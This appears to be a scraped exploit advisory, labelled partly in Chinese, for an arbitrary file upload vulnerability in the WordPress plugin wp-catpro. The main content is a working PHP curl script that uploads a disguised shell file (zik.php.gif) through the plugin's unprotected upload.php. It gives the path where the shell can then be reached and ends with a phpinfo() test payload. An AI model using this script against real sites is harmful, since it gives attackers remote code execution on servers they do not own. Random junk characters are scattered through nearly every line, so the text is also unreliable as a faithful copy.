Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability8 w) @1 ^! P! A, Y" z" c* }/ i
#-----------------------------------------------------------------------
" d3 c1 ?& \! z: {) I0 N# ]) a u4 p3 _! @, Q6 H& x1 ?
作者 => Zikou-16
" Q0 i8 k& J: Q T邮箱 => zikou16x@gmail.com
0 G/ F) ^' D8 n' o6 v3 f" I测试系统 : Windows 7 , Backtrack 5r3* K7 U+ _7 t6 G) j1 c
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
8 p% L4 \7 h2 Q# V####
9 K. \# Y0 i N, M" u5 X . b I' L& w1 e4 @6 S6 Y$ H
#=> Exploit 信息:
I# @( z0 k6 C& W) Y# n+ V------------------9 U* e# m+ C" E3 u: B; C
# 攻击者可以上传 file/shell.php.gif% P1 D, |" j& x! G5 ]
# ("jpg", "gif", "png") // Allowed file extensions+ Z) r, [( {; Q( P, Z
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
; ] f, |& J+ K5 W% o, a" e0 U1 {# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)5 ~& E3 E6 y5 H+ _ a" \
------------------
) T' X. P; Z. J& ^ ! \- a: h4 ]' z. V0 {, v
#=> Exploit/ v1 i7 |* z4 G% q! H
-----------1 _4 M4 M& i2 l1 w, l& O; ^
<?php
: R' n) W0 h: T7 F0 U5 R
. K; W; v5 Z( y+ _: F9 d( F$uploadfile="zik.php.gif";
- W- L6 k3 {0 w) I& Z$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
8 s/ S4 ]+ g/ A+ M( M4 a( \curl_setopt($ch, CURLOPT_POST, true);: x2 E5 ]- C. g' Y5 S: j5 u
curl_setopt($ch, CURLOPT_POSTFIELDS,
) }( X+ G) j0 k7 J- d. jarray('Filedata'=>"@$uploadfile",
- ]# {, q6 m/ {9 d'folder'=>'/wp-content/uploads/catpro/'));. P3 R/ t1 [ ^0 ]5 T6 P6 a4 P
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);. c2 L# L- s# g+ c q
$postResult = curl_exec($ch);) G. e0 q! E- |8 d5 ]$ D
curl_close($ch);
0 t3 O4 D; T- D0 l( j: h6 P }
+ o& j' V+ n# Xprint "$postResult";
- H4 W3 J; J( v& u + L/ O/ E: t+ f u" R
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
+ A- F: m0 w& |/ o- N7 H5 ?5 }# l ?>' q# y1 R7 V' C2 a
<?php) w1 u( q# N+ Z1 X5 F) L4 ]
phpinfo();! `5 J* r4 t7 ]* m; J
?> |